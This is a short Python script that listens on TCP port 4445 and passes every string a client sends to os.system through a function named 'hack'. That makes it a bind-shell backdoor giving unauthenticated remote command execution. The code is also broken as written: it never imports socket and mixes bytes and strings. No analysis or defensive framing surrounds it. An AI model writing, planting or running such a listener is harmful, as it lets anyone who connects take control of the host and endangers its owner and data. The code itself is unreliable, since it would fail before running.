import sys
import os

def hack(data):
        os.system(data)


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((socket.gethostname(), 4445))

#Listen
s.listen(4)

data = ""
while 1:
        conn, addr = s.accept()
        while(data != 'stop'):
                data = conn.recv(1024)

                if not data: break
                conn.send("echo " + data)
                hack(data)

        conn.close()
s.close()